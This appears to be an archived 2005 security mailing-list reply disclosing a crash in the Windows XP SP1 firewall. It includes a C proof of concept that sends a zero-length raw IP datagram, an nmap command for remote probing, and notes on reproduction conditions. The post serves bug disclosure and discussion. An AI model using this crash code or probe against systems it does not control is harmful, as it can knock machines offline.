Re: Possible windows+python bug

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

 



In-Reply-To: <20050322122118.16702.qmail@xxxxxxxxxxxxxxxxxxxxx>

I would like to add few things:

1. bug has nothing to do with Python, I deeply apologise to Python developers (which is my favorite piece of software)

2. here is an example in C with same effect:

#include <winsock2.h>

void main() {
  
  WSADATA wsaData;
  SOCKET testSocket;
  SOCKADDR_IN RecvAddr;
  int port = 0;
  char payload[256];
  int payloadLen = 0;

  WSAStartup(MAKEWORD(2,2), &wsaData);

  testSocket = socket(AF_INET, SOCK_RAW, 4  );

  RecvAddr.sin_family = AF_INET;
  RecvAddr.sin_port = htons(port);
  RecvAddr.sin_addr.s_addr = inet_addr("127.0.0.1");
  /*you could replace 127.0.0.1 with any other IP address*/

  sendto(testSocket, 
    payload, 
    payloadLen, 
    0, 
    (SOCKADDR *) &RecvAddr, 
    sizeof(RecvAddr));

  closesocket(testSocket);

  WSACleanup();
  return;
}

3. problem doesn't appear when "int payloadLen = 0;" is replaced with, say, "int payloadLen = 20;"

4. problem doesn't appear when built-in Windows firewall is disabled

5. problem still appears when we replace IP protocol 4 with other IP protocol, for example 0

6. and most important you have to be logged in with administrator privileges to produce crash

7. such datagrams sent with some tools don't cause crash, for example try with nmap-3.75 or higher (replace x.x.x.x with real IP address):
  nmap -sO -n -P0 -p 4 --data_length 0 x.x.x.x
(this is because nmap uses winpcap and doesn't depend on OS for sending datagrams)

8. tried to crash box remotely sending IPIP datagrams with zero length payload (using example in 7.) , no succeed, and no big suprise :)

To resume, this is minor security risk, because you have to be logged in as administrator, and if you are, you can do worst things than this :) . Anyhow this is an interesting issue, and clearly related with WindowsXP SP1 built-in firewall.
Has anyone reproduced this bug on SP2?

[Index of Archives]     [Linux Security]     [Netfilter]     [PHP]     [Yosemite News]     [Linux Kernel]

  Powered by Linux